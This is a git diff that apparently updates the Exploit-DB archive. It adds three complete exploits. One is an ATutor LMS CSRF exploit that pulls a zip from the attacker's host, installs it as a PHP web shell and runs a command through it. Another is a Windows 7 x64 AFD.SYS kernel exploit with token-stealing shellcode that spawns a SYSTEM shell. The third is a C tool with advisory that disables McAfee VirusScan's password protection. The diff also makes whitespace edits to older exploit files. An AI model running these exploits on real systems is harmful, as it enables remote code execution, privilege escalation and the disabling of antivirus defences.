diff --git a/files.csv b/files.csv index 4c8b649f8..0d242b106 100755 --- a/files.csv +++ b/files.csv @@ -35761,3 +35761,6 @@ id,file,description,date,author,platform,type,port 39521,platforms/php/webapps/39521.txt,"WordPress Bulk Delete Plugin 5.5.3 - Privilege Escalation",2016-03-03,"Panagiotis Vagenas",php,webapps,80 39522,platforms/hardware/remote/39522.txt,"Schneider Electric SBO / AS - Multiple Vulnerabilities",2016-03-03,"Karn Ganeshen",hardware,remote,0 39523,platforms/windows/local/39523.rb,"AppLocker Execution Prevention Bypass",2016-03-03,metasploit,windows,local,0 +39524,platforms/php/webapps/39524.js,"ATutor LMS install_modules.php CSRF Remote Code Execution Vulnerability",2016-03-07,mr_me,php,webapps,0 +39525,platforms/win64/local/39525.py,"Microsoft Windows - AFD.SYS Privilege Escalation (MS14-040) Win7x64",2016-03-07,"Rick Larabee",win64,local,0 +39531,platforms/windows/local/39531.c,"McAfee VirusScan Enterprise 8.8 - Security Restrictions Bypass",2016-03-07,"Maurizio Agazzini",windows,local,0 diff --git a/platforms/linux/local/129.asm b/platforms/linux/local/129.asm index 97a74ce6b..a3c816322 100755 --- a/platforms/linux/local/129.asm +++ b/platforms/linux/local/129.asm @@ -95,6 +95,6 @@ timespec dd 10,0 - filesize equ $ - $$ - -; milw0rm.com [2003-12-02] + filesize equ $ - $$ + +; milw0rm.com [2003-12-02] diff --git a/platforms/linux/local/131.c b/platforms/linux/local/131.c index 64846587c..607d4ca9c 100755 --- a/platforms/linux/local/131.c +++ b/platforms/linux/local/131.c @@ -278,6 +278,6 @@ configure(); remap(); return EXIT_FAILURE; } - - -// milw0rm.com [2003-12-05] + + +// milw0rm.com [2003-12-05] diff --git a/platforms/linux/local/152.c b/platforms/linux/local/152.c index 0f362cd3a..e3dbfac75 100755 --- a/platforms/linux/local/152.c +++ b/platforms/linux/local/152.c @@ -154,6 +154,6 @@ go_daemon(); execl(PATH,PATH,arg,NULL); return 0; } - - -// milw0rm.com [2004-02-13] + + +// milw0rm.com [2004-02-13] diff --git a/platforms/linux/remote/143.c b/platforms/linux/remote/143.c index ca36767fa..de12e004a 100755 --- a/platforms/linux/remote/143.c +++ b/platforms/linux/remote/143.c @@ -464,6 +464,6 @@ die(char *argv) fprintf(stdout," Contact me: Li0n7@voila.fr\n\n"); exit(1); } - - -// milw0rm.com [2004-01-14] + + +// milw0rm.com [2004-01-14] diff --git a/platforms/php/webapps/137.pl b/platforms/php/webapps/137.pl index 85618e3c5..8a788daf4 100755 --- a/platforms/php/webapps/137.pl +++ b/platforms/php/webapps/137.pl @@ -70,6 +70,6 @@ print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n"; } if ($success==0) {print "[-] exploit failed =(\n";} ## o---[ RusH security team | www.rsteam.ru | 2003 ]---o - - -# milw0rm.com [2003-12-21] + + +# milw0rm.com [2003-12-21] diff --git a/platforms/php/webapps/39524.js b/platforms/php/webapps/39524.js new file mode 100755 index 000000000..702dc9957 --- /dev/null +++ b/platforms/php/webapps/39524.js @@ -0,0 +1,138 @@ +/* exp.js + +ATutor LMS <= 2.2.1 install_modules.php CSRF Remote Code Execution +by mr_me + +Notes: +`````` +- Discovered for @ipn_mx students advanced php vuln/dev class +- Tested on the latest FireFox 44.0.2 release build +- This poc simply uploads a zip file as pwn/si.php with a "" in it +- You will need to set the Access-Control-Allow-Origin header to allow the target to pull zips +- Use this with your favorite XSS attack +- Student proof, aka bullet proof + +Timeline: +````````` +23/02/2016 - notified vendor via info[at]atutor[dot]ca +24/02/2016 - requested CVE and assigned CVE-2016-2539 +24/02/2016 - vendor replied stating they are investigating the issue +05/03/2016 - vendor patches the issue (https://github.com/atutor/ATutor/commit/bfc6c80c6c217c5515172f3cc949e13dfa1a92ac) +06/03/2016 - coordinated public release + +Example: +```````` +mr_me@jupiter:~$ cat poc.py +#!/usr/bin/python + +import sys +import zipfile +import BaseHTTPServer +from cStringIO import StringIO +from SimpleHTTPServer import SimpleHTTPRequestHandler + +if len(sys.argv) < 3: + print "Usage: %s " % sys.argv[0] + print "eg: %s 8000 172.16.69.128" % sys.argv[0] + sys.exit(1) + +def _build_zip(): + """ + builds the zip file + """ + f = StringIO() + z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) + z.writestr('pwn/si.php', "") + z.close() + handle = open('pwn.zip','wb') + handle.write(f.getvalue()) + handle.close + +class CORSRequestHandler (SimpleHTTPRequestHandler): + def end_headers (self): + self.send_header('Access-Control-Allow-Origin', 'http://%s' % sys.argv[2]) + SimpleHTTPRequestHandler.end_headers(self) + +if __name__ == '__main__': + _build_zip() + BaseHTTPServer.test(CORSRequestHandler, BaseHTTPServer.HTTPServer) + +mr_me@jupiter:~$ ./poc.py 8000 172.16.69.128 +Serving HTTP on 0.0.0.0 port 8000 ... +172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /exp.js HTTP/1.1" 200 - +172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /pwn.zip HTTP/1.1" 200 - + +~ de Mexico con amor, + +*/ + +var get_hostname = function(href) { + var l = document.createElement("a"); + l.href = href; + return l.hostname + ":" + l.port; +}; + +function trolololol(url, file_data, filename) { + var file_size = file_data.length, + boundary = "828116593165207937691721278", + xhr = new XMLHttpRequest(); + + // latest ff doesnt have sendAsBinary(), so we redefine it + if(!xhr.sendAsBinary){ + xhr.sendAsBinary = function(datastr) { + function byteValue(x) { + return x.charCodeAt(0) & 0xff; + } + var ords = Array.prototype.map.call(datastr, byteValue); + var ui8a = new Uint8Array(ords); + this.send(ui8a.buffer); + } + } + + // the callback after this stage is done... + xhr.onreadystatechange = function() { + if (xhr.readyState == XMLHttpRequest.DONE) { + xhr = new XMLHttpRequest(); + // change this if you change the zip + xhr.open("GET", "/ATutor/mods/pwn/si.php?cmd=id", true); + xhr.send(); + } + } + + xhr.open("POST", url, true); + // simulate a file MIME POST request. + xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); + xhr.setRequestHeader("Content-Length", file_size); + var body = "--" + boundary + "\r\n"; + body += 'Content-Disposition: form-data; name="modulefile"; filename="' + filename + '"\r\n'; + body += "Content-Type: archive/zip\r\n\r\n"; + body += file_data + "\r\n"; + body += "--" + boundary + "\r\n"; + body += 'Content-Disposition: form-data; name="install_upload"\r\n\r\n'; + body += "junk\r\n"; + body += "--" + boundary; + xhr.sendAsBinary(body); + return true; +} + +function pwn(){ + var xhr = new XMLHttpRequest(); + // et phone home + var home = get_hostname(document.scripts[0].src); + // get our own zip file + xhr.open('GET', 'http://' + home + '/pwn.zip', true); + xhr.responseType = 'blob'; + xhr.onload = function(e) { + if (this.status == 200) { + // use the FileReader class to get the raw binary + var reader = new window.FileReader(); + reader.readAsBinaryString(new Blob([this.response], {type: 'application/zip'})); + reader.onloadend = function() { + trolololol("/ATutor/mods/_core/modules/install_modules.php", reader.result, "pwn.zip"); + } + } + }; + xhr.send(); +} + +pwn(); diff --git a/platforms/win64/local/39525.py b/platforms/win64/local/39525.py new file mode 100755 index 000000000..b887ecbdf --- /dev/null +++ b/platforms/win64/local/39525.py @@ -0,0 +1,346 @@ +# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer +# Date: 2016-03-03 +# Exploit Author: Rick Larabee +# Vendor Homepage: www.microsoft.com +# Version: Windows 7, 64 bit +# Tested on: Win7 x64 +# afd.sys - 6.1.7601.17514 +# ntdll.dll - 6.1.7601.17514 +# +# CVE : CVE-2014-1767 +# Category: Local Privilege Escalation +# References: +# http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf +# http://ricklarabee.blogspot.com/ +# https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/ +# https://technet.microsoft.com/en-us/library/security/ms14-040.aspx +# http://www.cvedetails.com/cve/CVE-2014-1767/ +# https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/ +# +# Greetz: PWN4GEPWN1E, SecurityMook + + +from ctypes import * +import socket, time, os, struct, sys +from ctypes.wintypes import HANDLE, DWORD +import platform + +kernel32 = windll.kernel32 +ntdll = windll.ntdll +Psapi = windll.Psapi + +MEMRES = (0x1000 | 0x2000) +PAGEEXE = 0x40 +Zerobits = c_int(0) +RegionSize = c_ulonglong(0x1000) +written = c_ulonglong(0) + +FakeObjSize = 0x100 + +GENERIC_READ = 0x80000000 +GENERIC_WRITE = 0x40000000 +GENERIC_EXECUTE = 0x20000000 +GENERIC_ALL = 0x10000000 +INVALID_HANDLE_VALUE = -1 + +WSAGetLastError = windll.Ws2_32.WSAGetLastError +WSAGetLastError.argtypes = () +WSAGetLastError.restype = c_int +SOCKET = c_int +WSASocket = windll.Ws2_32.WSASocketA +WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD) +WSASocket.restype = SOCKET +closesocket = windll.Ws2_32.closesocket +closesocket.argtypes = (SOCKET,) +closesocket.restype = c_int +connect = windll.Ws2_32.connect +connect.argtypes = (SOCKET, c_void_p, c_int) +connect.restype = c_int +HalDispatchTable = c_uint64 + +class sockaddr_in(Structure): + _fields_ = [ + ("sin_family", c_short), + ("sin_port", c_ushort), + ("sin_addr", c_ulong), + ("sin_zero", c_char * 8), + ] + +kernel32.WriteProcessMemory.argtypes = [c_ulonglong, c_ulonglong, c_char_p, c_ulonglong, POINTER(c_ulonglong)] +ntdll.NtAllocateVirtualMemory.argtypes = [c_ulonglong, POINTER(c_ulonglong), c_ulonglong, POINTER(c_ulonglong),c_ulonglong,c_ulonglong] + +def find_driver_base(driver=None): + #https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/windows.py + + if platform.architecture()[0] == '64bit': + lpImageBase = (c_ulonglong * 1024)() + lpcbNeeded = c_longlong() + Psapi.GetDeviceDriverBaseNameA.argtypes = [c_longlong, POINTER(c_char), c_uint32] + else: + #if process_is_wow64(): + # raise RuntimeError('python running in WOW64 is not supported') + lpImageBase = (c_ulong * 1024)() + lpcbNeeded = c_long() + driver_name_size = c_long() + driver_name_size.value = 48 + Psapi.EnumDeviceDrivers(byref(lpImageBase), c_int(1024), byref(lpcbNeeded)) + for base_addr in lpImageBase: + driver_name = c_char_p('\x00' * driver_name_size.value) + if base_addr: + Psapi.GetDeviceDriverBaseNameA(base_addr, driver_name, driver_name_size.value) + if driver == None and driver_name.value.lower().find("krnl") != -1: + return (base_addr, driver_name.value) + elif driver_name.value.lower() == driver: + return (base_addr, driver_name.value) + return None + +def get_haldispatchtable(): + #https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/windows.py + + if platform.architecture()[0] == '64bit': + kernel32.LoadLibraryExA.restype = c_uint64 + kernel32.GetProcAddress.argtypes = [c_uint64, POINTER(c_char)] + kernel32.GetProcAddress.restype = c_uint64 + (krnlbase, kernelver) = find_driver_base() + hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1) + halDispatchTable = kernel32.GetProcAddress(hKernel, 'HalDispatchTable') + halDispatchTable -= hKernel + halDispatchTable += krnlbase + return halDispatchTable + + +def CreateBuffer1(inbuf1addr): + print "[+] Creating Buffer for IOCTL 0x1207F (afdTransmitFile) at: ", hex(inbuf1addr) + inbuf1size = 0x40 + targetsize = 0x100 + virtualAddress = 0x13371337 + mdlsize = (pow(2, 0x0c) * (targetsize -0x30) / 8) - 0xfff - (virtualAddress & 0xfff) + + + inbuf1 = "\x41" * 0x20 + inbuf1 += struct.pack("Q", virtualAddress) #0x1a + inbuf1 += struct.pack("Q", mdlsize) + inbuf1 += "\x42" * 4 + inbuf1 += "\x43" * 4 + inbuf1 += "\x01\x00\x00\x00" + inbuf1 += "\x00\x00\x00\x00" + inbuf1 += "\x00" * (inbuf1size - len(inbuf1)) + + baseadd = c_ulonglong(0x1001) + + dwStatus = ntdll.NtAllocateVirtualMemory(-1, + byref(baseadd), + 0x0, + byref(RegionSize), + MEMRES, + PAGEEXE) + + wpmStatus = kernel32.WriteProcessMemory(-1, inbuf1addr, inbuf1, inbuf1size, byref(written)) + +def CreateBuffer2(inbuf2addr): + print "[+] Creating Buffer for IOCTL 0x120C3 (afdTransmitPacket) at: ", hex(inbuf2addr) + inbuf2size = 0x18 + addrforbuf2 = 0x0AAAAAAA + + inbuf2 = struct.pack("Q", 0x1) + inbuf2 += struct.pack("Q", addrforbuf2) + inbuf2 += "\x00" * (inbuf2size -len(inbuf2)) + + baseadd = c_ulonglong(inbuf2addr+1) + dwStatus = ntdll.NtAllocateVirtualMemory(-1, + byref(baseadd), + 0x0, + byref(RegionSize), + MEMRES, + PAGEEXE) + kernel32.WriteProcessMemory(-1, inbuf2addr, inbuf2, inbuf2size, byref(written)) + +def CreateFakeObject(firstWrite,fakeobjectaddr, setinfoworkerfactory): + print "[+] Print creating fakeobject at ", hex(fakeobjectaddr) + + fakeobject2addr = setinfoworkerfactory - 0x18 + + fakeobject2 = "\x00"*0x18 + struct.pack("Q", firstWrite) + fakeobj2size = len(fakeobject2) + kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written)) + + objhead = ("\x00\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x08\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") + + fakeobject = objhead + fakeobject += struct.pack("Q", fakeobject2addr) + "\x41"*96 + fakeobject += "\x42" * (FakeObjSize - len(fakeobject)) + kernel32.WriteProcessMemory(-1, fakeobjectaddr, fakeobject, FakeObjSize, byref(written)) + +def main(): + print "[+] creating socket..." + sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0) + + if sock == -1: + print "[-] no luck creating socket!" + sys.exit(1) + + print "[+] got sock 0x%x" % sock + + addr = sockaddr_in() + addr.sin_family = socket.AF_INET + addr.sin_port = socket.htons(135) + addr.sin_addr = socket.htonl(0x7f000001) + + connect(sock, byref(addr), sizeof(addr)) + + print "[+] sock connected." + print "[+] fill kernel heap" + + rgnarr = [] + nBottomRect = 0x02aaaaaa + while(1): + hrgn = windll.gdi32.CreateRoundRectRgn(0,0,1,nBottomRect,1,1) + + if hrgn == 0: + break + rgnarr.append(hrgn) + print ".", + + + print "\n[+] GO!" + HalDispatchTable = get_haldispatchtable() + print "[+] HalDispatchTable address:", hex(HalDispatchTable) + # Win7 - x64 + (halbase, dllname) = find_driver_base("hal.dll") + OS = "7" + if OS == "7": + HaliQuerySystemInformation = halbase+0x398e8 # Offset for win7 x64 + _KPROCESS = "\x70" + _TOKEN = "\x08\x02" + _UPID = "\x80\x01" + _APLINKS = "\x88\x01" + + print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation) + + IoStatus = c_ulonglong() + IoStatusBlock = c_ulonglong() + + addrSetInfoWorkerFactory = 0x2218 + firstWriteAddr = HalDispatchTable + 0x8 - 0x2C + secondWriteAddr = firstWriteAddr + 0x4 + thirdWriteAddr = firstWriteAddr + 0x1 + + shellcode_address = c_ulonglong + shellcode_address = 0x0000000000002500 + what_address = 0x0000250800002500 + what_part1 = what_address & 0xfffffff + what_part2 = what_address >> 32 & 0xfffffff + + inbuf1 = 0x1000 + inbuf2 = 0x2000 + hWF = c_ulonglong(0) + FakeWorkerFactoryADDR = 0x2100 + + CreateBuffer1(inbuf1) + CreateBuffer2(inbuf2) + CreateFakeObject(firstWriteAddr, FakeWorkerFactoryADDR, addrSetInfoWorkerFactory) + print "" + print "" + print "[*] Trigger IOCTL 0x1207f (afdTransmitFile) to setup the memory " + print "[*] structures for phase 2 and fil the freed space with a " + print "[*] WorkerFactory Object" + raw_input("[+] Press Enter to trigger phase 1") + ntdll.ZwDeviceIoControlFile.argtypes = [c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, POINTER(c_ulonglong), + c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong] + status = ntdll.ZwDeviceIoControlFile(sock,0x0,0x0,0x0,byref(IoStatusBlock),0x1207f, inbuf1, 0x40, 0x0, 0x0) + + + kernel32.CreateIoCompletionPort.argtypes = [c_ulonglong,c_ulonglong,c_ulonglong,c_ulonglong] + CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, 0, 0, 0)) + + ntdll.ZwCreateWorkerFactory.argtypes = [POINTER(c_ulonglong), c_ulonglong, c_ulonglong, c_void_p, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong] + ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,0,CompletionPort,INVALID_HANDLE_VALUE,0,0,0,0,0) + hWFaddr = hWF + + + padding = "\x90"*8 + HalDispatchTable0x8 = HalDispatchTable + 0x8 + + sc_pointer = struct.pack("Q", shellcode_address+0x10) + sc_pointer += struct.pack("Q", 0x25) + + restore_ptrs = "\x41\x51" +\ + "\x41\x52" +\ + "\x41\x53" +\ + "\x49\xb9" + struct.pack("Q", HaliQuerySystemInformation) +\ + "\x49\xba" + struct.pack("Q", HalDispatchTable0x8) +\ + "\x4d\x89\x0a" + + tokenstealing = "\x65\x4C\x8B\x0C\x25\x88\x01\x00\x00" +\ + "\x4D\x8B\x89" + _KPROCESS + "\x00\x00\x00" +\ + "\x4D\x89\xCA" +\ + "\x4D\x8B\x89" + _APLINKS + "\x00\x00" +\ + "\x49\x81\xE9" + _APLINKS + "\x00\x00" +\ + "\x49\x83\xB9" + _UPID + "\x00\x00\x04" +\ + "\x75\xe8" +\ + "\x4D\x8B\x89" + _TOKEN + "\x00\x00" +\ + "\x4D\x89\x8A" + _TOKEN + "\x00\x00" + + fixobjheaders = "\x4d\x8b\x92\x00\x02\x00\x00" +\ + "\x4d\x89\xd1" +\ + "\x4d\x8b\x12" +\ + "\x41\xbb" + struct.pack("L", hWF.value)+\ + "\x41\x83\xe3\xfc" +\ + "\x4d\x01\xdb" +\ + "\x4d\x01\xdb" +\ + "\x4d\x01\xda" +\ + "\x49\xc7\x02\x00\x00\x00\x00" +\ + "\x49\x83\xc1\x58" +\ + "\x4d\x89\xca" +\ + "\x4d\x8b\x09" +\ + "\x49\x83\xe9\x01" +\ + "\x4d\x89\x0a" +\ + "\x41\x5b" +\ + "\x41\x5A" +\ + "\x41\x59" +\ + "\xc3" + + shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders + shellcode_size = len(shellcode) + + print "\n\n[+] Writing Shellcode at address: ", hex(shellcode_address) + + kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written)) + + print "\n\n[*] Triggering IOCTL 0x120c3 (afdTransmitPackets) to free the" + print "[*] WorkerFactory object created above and fill the freed object" + print "[*] with a user controlled object to perform the necessary overwrites" + raw_input("[+] Press Enter to trigger phase 2") + + ### Trigger 2 + ## afd!AfdTransmitPackets + ntdll.ZwDeviceIoControlFile(sock,0x0,0x0,0x0,byref(IoStatusBlock),0x120c3, inbuf2, 0x18, 0x0, 0x0) + + ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False) + ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part1, 0x4) + kernel32.WriteProcessMemory(-1, addrSetInfoWorkerFactory, struct.pack("Q", secondWriteAddr), 0x8, byref(written)) + ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part2, 0x4) + kernel32.WriteProcessMemory(-1, addrSetInfoWorkerFactory, struct.pack("Q", thirdWriteAddr), 0x8, byref(written)) + ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part2, 0x4) ; + + inp = c_long() + out = c_long() + inp = 0x1337 + qip = ntdll.NtQueryIntervalProfile(inp, byref(out)) + print "[*] Spawning a SYSTEM shell..." + os.system("cmd.exe /K cd c:\\windows\\system32") + + +if __name__ == "__main__": + if platform.architecture()[0] == '64bit': + main() + else: + print "Please use a 64 bit version of python" + sys.exit() + + + diff --git a/platforms/windows/local/39531.c b/platforms/windows/local/39531.c new file mode 100755 index 000000000..71e609ed9 --- /dev/null +++ b/platforms/windows/local/39531.c @@ -0,0 +1,250 @@ +/* +Security Advisory @ Mediaservice.net Srl +(#01, 13/04/2016) Data Security Division + + Title: McAfee VirusScan Enterprise security restrictions bypass + Application: McAfee VirusScan Enterprise 8.8 and prior versions + Platform: Microsoft Windows + Description: A local Windows administrator is able to bypass the + security restrictions and disable the antivirus engine + without knowing the correct management password + Author: Maurizio Agazzini + Vendor Status: Fixed + References: http://lab.mediaservice.net/advisory/2016-01-mcafee.txt + http://lab.mediaservice.net/code/mcafee_unprotector.c + +1. Abstract. + +McAfee VirusScan Enterprise has a feature to protect the scan engine +from local Windows administrators. A management password is needed to +disable it, unless Windows is running in "Safe Mode". + +>From our understanding this feature is implemented insecurely: the +McAfee VirusScan Console checks the password and requests the engine to +unlock the safe registry keys. No checks are done by the engine itself, +so anyone can directly request the engine to stop without knowing the +correct management password. + +2. Example Attack Session. + +The attack can be reproduced in different ways, here are some examples. + +Example 1: + +Open the McAfee VirusScan Console and Sysinternals Process Explorer. + +Under Process Explorer: + +- Locate the mcconsol.exe process +- Type CTRL+L (show lower pane) +- Search for all "HKLM\SOFTWARE\McAfee\DesktopProtection" keys +- Close all the handles of this registry key + +Go back to the McAfee Console and: + +- Go to: Tools -> General Options +- Select the "Password Options" tab +- Select "No password" and apply settings + +Now it is possible to stop the antivirus engine. + +Example 2: + +A specific tool has been written to request to disable password +protection. After running the tool you can disable it via the VirusScan +Console. + +Code: http://lab.mediaservice.net/code/mcafee_unprotector.c + +3. Affected Platforms. + +All McAfee Viruscan Enterprise versions prior to 8.8 without SB10151 are +affected. Exploitation of this vulnerability requires that an attacker +has local Windows administrator privileges. + +4. Fix. + +On 25 February 2016, version SB10151 hotfix has been relased by McAfee, +which fixes the described vulnerability. + +https://kc.mcafee.com/corporate/index?page=content&id=SB10151 + +5. Proof Of Concept. + +See Example Attack Session above. + +6. Timeline + +07/11/2014 - First communication sent to McAfee +17/11/2014 - Second communication sent to McAfee +17/11/2014 - McAfee: Request to send again vulnerability information +18/11/2014 - Sent vulnerability information and PoC again +11/12/2014 - McAfee: Problem confirmed +09/03/2015 - Request for update to McAfee +06/05/2015 - Request for update to McAfee +06/05/2015 - McAfee: Patch release planned for Q3 +20/08/2015 - McAfee: Request for deadline delay (31/03/2016) +25/02/2016 - McAfee: SB10151 patch has been relased + +Copyright (c) 2014-2016 @ Mediaservice.net Srl. All rights reserved. + +-- +Maurizio Agazzini CISSP, CSSLP, OPST +Senior Security Advisor +@ Mediaservice.net Srl Tel: +39-011-32.72.100 +Via Santorelli, 15 Fax: +39-011-32.46.497 +10095 Grugliasco (TO) ITALY http://mediaservice.net/disclaimer + +"C programmers never die. They are just cast into void" +*/ + +/***************************************************************************** + * * + * McAfee Data Protector "Unprotector" * + * * + * A little tool to request McAfee scan engine to disable password * + * protection. * + * * + * Advisory: http://lab.mediaservice.net/advisory/2014-01-mcafee.txt * + * * + * This program can be compiled with MinGW (http://www.mingw.org/) * + * * + * Copyright (c) 2014 @ Mediaservice.net Srl. All rights reserved * + * Wrote by Maurizio Agazzini * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either version 2 * + * of the License, or (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 59 Temple Place * + * Suite 330, Boston, MA 02111-1307, USA. * + * * + *****************************************************************************/ + +#include +#include + +HANDLE opendevice() +{ + HANDLE result; + + if((result = CreateFile("\\\\.\\WGUARDNT", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL) + if((result = CreateFile("\\\\.\\Global\\WGUARDNT", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL) + if((result = CreateFile("\\\\.\\WGUARDNT", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL) + if((result = CreateFile("\\\\.\\Global\\WGUARDNT", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL) + result = 0; + + return result; +} + + +void main(int argc, char ** argv) +{ + HKEY reg_key = NULL; + HANDLE p; + DWORD BytesReturned; + DWORD data = 0; + unsigned long size = 4; + DWORD type = REG_DWORD; + DWORD data1 = 0; + + char status[4][70]= { + "No password", + "Password protection for all items listed", + "Password protection for the selected items", + "Password protection for conformance to Common Criteria" + }; + + printf("\n *******************************************\n"); + printf(" * McAfee Desktop Protection \"Unprotector\" *\n"); + printf(" *******************************************\n\n"); + + /* + * The PoC use HKLM\SOFTWARE\McAfee\DesktopProtection\UIPMode registry key to + * disable the password protection, but you can also access to others useful + * keys. + * + * User Password + * HKLM\SOFTWARE\McAfee\DesktopProtection\UIP + * HKLM\SOFTWARE\McAfee\DesktopProtection\UIPEx + * + * Buffer protection + * HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\BehaviourBlocking\BOPEnabled + * + * Access protection + * HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\BehaviourBlocking\APEnabled + * + * On Access Scanner + * HKLM\SOFTWARE\McAfee\DesktopProtection\OASState + * HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\McShield\Configuration\OASEnabled + * + * Others + * HKLM\SOFTWARE\McAfee\SystemCore\VSCore\LockDownEnabled + * + */ + + if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | 0x0200, ®_key) != ERROR_SUCCESS) + { + if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\\Wow6432Node\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | 0x0200, ®_key) != ERROR_SUCCESS) + { + printf("Error opening registry key...\n"); + return; + } + } + + // Check current status of McAfee protection + RegQueryValueEx(reg_key,"UIPMode",NULL, &type,(BYTE *)&data,&size); + + printf(" [+] Current UIPMode = %d (%s)\n\n", data, status[data]); + + RegCloseKey (reg_key); + + // Open McAfee magic device + p = opendevice(); + + printf(" [-] Please John, let me write to your registry keys..."); + + // Request to the scan engine to stop protect registry keys + DeviceIoControl(p, 0x9EDB6510u, 0, 0, 0, 0, &BytesReturned, 0); + + if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | KEY_SET_VALUE, ®_key) != ERROR_SUCCESS) + if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | KEY_SET_VALUE, ®_key) != ERROR_SUCCESS) + { + printf(" hmmm hmmm something went wrong!\n\n"); + printf(" [-] Ok John, take the control again!\n"); + DeviceIoControl(p, 0x9EDB6514u, 0, 0, 0, 0, &BytesReturned, 0); + CloseHandle(p); + return; + } + + printf(" OK\n"); + data1 = 0; + + if( argc > 1 ) + data1 = atoi(argv[1]); + + // Disable McAfee protection + if( RegSetValueEx(reg_key, "UIPMode", 0, REG_DWORD, (CONST BYTE *)&data1, sizeof(DWORD)) != ERROR_SUCCESS) + printf("\n hmmm hmmm something went wrong!\n"); + else + printf("\n [+] Thank you! now we got the control! UIPMode = %d\n",data1); + + RegCloseKey (reg_key); + + printf("\n [+] Run \"%s %d\" to get original settings\n\n",argv[0],data); + + // Tell to engine to take control again + printf(" [-] Ok John, take the control again!\n"); + DeviceIoControl(p, 0x9EDB6514u, 0, 0, 0, 0, &BytesReturned, 0); + CloseHandle(p); + +} +